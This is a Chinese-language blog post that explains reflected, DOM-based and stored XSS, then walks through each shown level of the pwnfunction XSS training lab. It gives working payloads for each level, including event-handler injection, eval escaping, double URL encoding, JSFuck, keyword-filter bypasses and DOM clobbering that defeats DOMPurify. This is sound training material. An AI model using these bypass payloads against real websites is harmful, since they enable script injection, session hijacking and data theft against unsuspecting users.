全网最细 XSS 漏洞详解 + 靶场实战（pwnfunction 全关卡通关）

原创于 2026-09-21 14:51:14 发布 · 30 阅读

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一、XSS 漏洞的定义

1. 什么是 XSS 漏洞？

XSS 跨站脚本攻击（Cross-Site Scripting, XSS）是一种常见的网络安全漏洞，它允许攻击者在其他用户访问的网页中注入恶意脚本。XSS 攻击的主要目标是通过在受害者的浏览器中执行恶意代码来窃取敏感信息、篡改网页内容、劫持用户会话、钓鱼诱导等，是 Web 安全中最基础、最高频的漏洞之一。

二、XSS 漏洞的类型

1. 反射型 XSS

反射型 XSS 是最常见的 XSS 类型之一，也叫非持久型 XSS。它的核心特点是：恶意脚本不会存储在服务器，仅临时随请求参数传入，服务器即时反射返回给浏览器执行，一次性生效。

反射型 XSS 的工作流程：

攻击者构造带恶意脚本的 URL 链接；
诱导用户点击恶意链接，参数携带恶意代码发送至服务器；
服务器直接将参数内容反射到页面响应中，无过滤转义；
受害者浏览器解析页面，执行嵌入的恶意脚本，完成攻击。

2.DOM 型 XSS

DOM 型 XSS 是纯客户端的 XSS 漏洞，不经过服务器处理，服务器返回的页面源码无恶意代码，完全由前端 JS 操作 DOM 节点触发漏洞，隐蔽性极强。

DOM 型 XSS 的工作流程：

用户访问攻击者构造的恶意链接；
浏览器正常加载服务器纯净页面；
前端 JS 直接读取 URL 参数、页面锚点等可控参数，操作 DOM；
未过滤的恶意参数被写入页面 DOM 结构，浏览器解析执行恶意代码。

3. 存储型 XSS

存储型 XSS 是危害最高的 XSS 类型，也叫持久型 XSS。攻击者的恶意脚本会永久存储在服务器数据库、评论区、留言板等位置，所有访问该页面的用户都会触发攻击。

存储型 XSS 的工作流程：

攻击者在网站输入框、评论区等位置提交恶意 JS 脚本；
服务器接收数据并持久化存储到数据库；
任意用户访问包含该数据的页面时，服务器读取数据并返回页面；
所有访问用户的浏览器都会执行恶意脚本，批量中招。

三、实战案例演练

本次实战使用开源 XSS 靶场：https://xss.pwnfunction.com/
靶场难度循序渐进，覆盖基础 XSS、编码绕过、正则绕过、DOM 绕过、安全框架绕过等核心知识点，适合新手系统学习 XSS 攻击思路。

第 1 关 Ma Spaghet

关卡无特殊过滤，参数直接嵌入页面，属于最基础的反射型 XSS。
利用 img 标签报错触发 JS 执行，payload 简单通用。

通关 Payload：

测试：?somebody=bbb

?somebody=<img src=1 onerror="alert(1337)">

访问链接后，图片加载失败触发 onerror 事件，自动执行弹窗代码，通关成功。

第 2 关 Jefff

参数传入后端 eval 函数执行，存在 JS 代码注入漏洞，需要闭合原有语句执行恶意代码。

通关 Payload（两种通用写法）：
赋值给ma观察到传入到eval中，停留1秒。

?jeff=bbb";alert(1337);"
?jeff=bbb"-alert(1337)-"

通过引号闭合原有变量，拼接 alert 弹窗代码，成功执行脚本通关。

第 3 关 Ugandan Knuckles

题目限制：禁止用户手动交互，需要全自动触发脚本。
页面存在 input 输入框，可利用autofocus自动聚焦 + onfocus事件实现无交互触发。

通关 Payload：

?wey=bbb" οnclick="alert(1337)，这种方式需要点击事件，但是违背题目，不能用户交互。

用焦点，onfocus聚焦，input表单自动触发。但是还是存在用户交互。用autofocus。

?wey=bbb" onfocus=alert(1337) autofocus="

页面加载自动聚焦输入框，触发 onfocus 事件，无需任何手动操作，自动弹出弹窗。

第 4 关 Ricardo Milos

页面存在 form 表单，2 秒后自动执行表单提交。
利用javascript:伪协议赋值给表单 action 属性，自动跳转执行 JS 代码。

通关 Payload：

get传参，获取form表单id，2秒后自动提交。利用form表单的action伪协议事件。

?ricardo=javascript:alert(1337)

表单自动提交时，触发伪协议脚本，成功执行弹窗。

第 5 关 Ah That’s Hawt

关卡做了严格过滤：拦截括号、点、斜杠、转义字符，常规 alert 无法直接使用。
利用双层 URL 编码绕过过滤，结合 location 跳转执行脚本。

通关 Payload：

可以看到做了个过滤：括号、点、斜杠、转义字符，函数触发不了，想到和前面类似，用location把他变成字符串，用%2528替换（，%2529替换），直接绕过。

?markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">

双层编码后的括号被浏览器自动解码，成功绕过正则过滤，触发弹窗。

第 6 关 Ligma

极致过滤：拦截所有字母、数字，常规脚本完全失效。
核心思路：JSFuck 纯符号编码 + URL 编码，只用符号构造可执行 JS 代码，绕过字符过滤。

JSFuck 加密源码 + URL 编码最终 Payload：

过滤字母、数字。只能用编码绕过。JSFuck编码。

在用url编码来写。

alert(1337)
JSFuck加密: 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第 7 关 Mafia

关卡过滤 alert 关键字，常规弹窗被拦截，提供两种正规绕过思路：

方法一：Function 函数 + 小写绕过（推荐）
利用正则源码转小写，规避大写关键字检测：

又是过滤，作者忘了confirm函数，直接用函数confirm卡bug。

?mafia=confirm(1337)

上面是歪门邪道！！！！！！！！正确的方法如下：

匿名函数，利用匿名函数的参数构造payload，同时使用正则表达式来绕过alert字符串的检测。JS严格区分大小写，对Function函数进行toLowerCase()转小写，然后立即执行。

方法二：进制转换绕过
利用 30 进制数字转换生成 alert 函数，间接执行脚本，是高阶 XSS 绕过常用思路。

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

当然，parseInt函数也可以。将30进制的数字8680439转换成字符串，30进制是因为，最后一位t是26个字母的第20位，加上0-9，10位，就是30。也就是就是alert eval(8680439…toString(30))(1337)

第 8 关 Ok, Boomer

关卡引入DOMPurify 安全过滤库，常规 XSS 全部被拦截。
核心思路：DOM 结构破坏绕过，提前自定义页面 ID，覆盖原有变量，突破过滤限制。

通关 Payload：

DOMPurify这个第三方库很牛逼，基本你没办法绕过，都会被过滤。

DOM破坏。只有一个定时器，能够被利用，2秒后执行一个ok，思路是想办法在前面写个id=ok，后面调用ok，能够取到前面的值。

?boomer=<a id=ok href="tel:alert(1337)">

定时器执行时调用自定义 ok 节点，成功触发脚本执行。

Hard 关 WW3（高阶难度）

源码：

<!-- Challenge -->
<div>
    <h4>Meme Code</h4>
    <textarea class="form-control" id="meme-code" rows="4"></textarea>
    <div id="notify"></div>
</div>

<script>
    /* Utils */
    const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');
    const memeTemplate = (img, text) => {
        return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+
            `.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+
            `.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+
            `position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+
            `<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)
    }
    const memeGen = (that, notify) => {
        if (text && img) {
            template = memeTemplate(img, text)

            if (notify) {
                html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)
            }

            setTimeout(_ => {
                $('#status').remove()
                notify ? ($('#notify').html(html)) : ''
                $('#meme-code').text(template)
            }, 1000)
        }
    }
</script>

<script>
    /* Main */
    let notify = false;
    let text = new URL(location).searchParams.get('text')
    let img = new URL(location).searchParams.get('img')
    if (text && img) {
        document.write(
            `<div class="alert alert-primary" role="alert" id="status">`+
            `<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`+
            `Creating meme... (${DOMPurify.sanitize(text)})</div>`
        )
    } else {
        $('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))
    }
</script>

思路：目标：$(“#notify”).html(html)。

1、绕过过滤框架

2、html逃逸style标签

3、nofity dom 破解使其为真

<img name=notify><style><style/><script>alert()//
?text=<img name%3dnotify><style><style%2F><script>alert(1337)%2F%2F&img=https://i.imgur.com/PdbDexI.jpg

完成挑战。